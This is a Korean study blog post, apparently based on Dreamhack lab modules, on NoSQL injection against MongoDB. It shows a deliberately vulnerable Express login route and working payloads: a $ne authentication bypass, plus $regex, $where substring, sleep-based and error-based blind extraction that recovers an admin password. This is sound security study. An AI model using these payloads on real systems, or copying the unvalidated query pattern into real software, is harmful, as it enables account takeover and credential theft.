본문 바로가기

KERT/HackHeat

NoSQL Injection

키워드

  • NoSQL injection: 요청 구문에 이용자의 입력 값을 삽입해 이용자가 원하는 요청을 실행할 수 있는 취약점
  • Blind NoSQL Injection: 데이터 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용될 수 있는 NoSQL Injection 공격 기법

이전에 학습한 SQL Injection 과 유사하다.

모든 DBMS를 다루지 않고, MongoDB 를 사용할 때 발생하는 NoSQL Injection에 대해서 알아봅시다.

MongoDB 의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생한다.
  • MongoDB는 저장하는 데이터 자료형으로 문자열, 정수, 날짜, 실수 뿐만 아니라 오브젝트, 배열 타입을 사용
  • 오브젝트 타입의 입력값을 처리할 때, 다양한 쿼리 연산자를 사용할 수 있다.
    • 연산자를 가지고 공격자가 쿼리를 조작하는 취약점 발생

입력값 타입 예시

http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

이와 같이 [] 나 {key:value} 형식으로 된 object 타입이 입력될 수 있다.

NoSQL Injection

모듈을 통한 실습

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.post('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.body.uid,
        'upw': req.body.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(80, function(){
    console.log('app.listen');
});

모듈 코드를 봐보면

user 컬렉션에서 uid와 upw 에 해당하는 데이터를 찾아서(.find) 출력한다.

이때, 이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다취약점이 발생한다.

 

오브젝트 타입의 값을 입력할 수 있기 때문에,

연산자를 사용할 수 있다.

 

$ne 연산자를 통해 공격자는 계정 정보를 몰라도 데이터를 조회할 수 있게 된다.

드림핵 NoSQL Injection 실습 모듈

 

Exploit

{"uid": "admin", "upw": {"$ne":""}}

upw 에 $ne 연산자를 사용하여 upw 값에 상관없이 uid가 admin인 데이터를 조회할 수 있다.


Blind NoSQL Injection

위에서는 인증 우회 방법으로 공격했다면, 참/거짓 결과를 통해 데이터베이스 정보를 알아내는 공격 기법

사용되는 연산자

$regex

정규식을 사용해 식과 일치하는 데이터를 조회

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

$where

인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회

1. substring

upw 의 첫 글자를 비교해 데이터를 알아내는 쿼리

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

db.user.find({$where: "this.upw.substring(0,1)=='g'"})

쿼리를 통해 데이터를 조회하고 있다.

 

2. Sleep 함수를 통한 Time based Injection

upw 의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1

첫 글자와 g 를 비교하는 표현식과 함께 sleep 함수를 사용하여,

지연 시간을 통해 참/거짓 결과를 확인할 수 있다.

 

&& 연산자는 앞 조건이 참일 때만, 뒷 조건문으로 넘어가는 특성이 있다.

따라서 upw 의 첫 글자가 'g' 일 때, sleep(5000)&&1 을 실행하게 된다

 

다시 말하면,

시간 지연이 발생했을 때의 글자가 upw 의 첫 글자라는 것을 알 수 있게 된다.

 

한 가지 의문점.. 맨 뒤에 &&'1 은 어떤 의미를 가지고 있는지 모르겠다

 

3. Error based Injection

upw 의 첫 글자가 'g' 문자인 경우, 올바르지 않은 문법인 asdf 를 고의로 실행하면서 에러 발생

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

Blind NoSQL Injection

모듈을 통한 실습

모듈은 로그인에 성공할 경우, uid를 출력한다. admin 계정의 비밀번호를 획득하라.

Step1. 비밀번호 길이 획득

{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined

정규식을 사용했을 때 .{5} 식uid 를 반환했으므로, 비밀번호 길이가 5 라는 것을 알 수 있다.

Step2. 비밀번호 획득

{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}

정규식 중 ^입력의 시작부분을 나타낸다.

해당 문자 ^ 를 사용하여 비밀번호를 한 글자씩 알아내다 보면

upw 가 apple 이라는 것을 알 수 있다.

 

'KERT > HackHeat' 카테고리의 다른 글

파일 취약점(File Vulnerability)  (0) 2023.08.14
Command Injection  (0) 2023.08.14
NoSQL 개념과 MongoDB 기본 문법  (0) 2023.07.26
SQL Injection  (0) 2023.07.21
DBMS  (0) 2023.07.21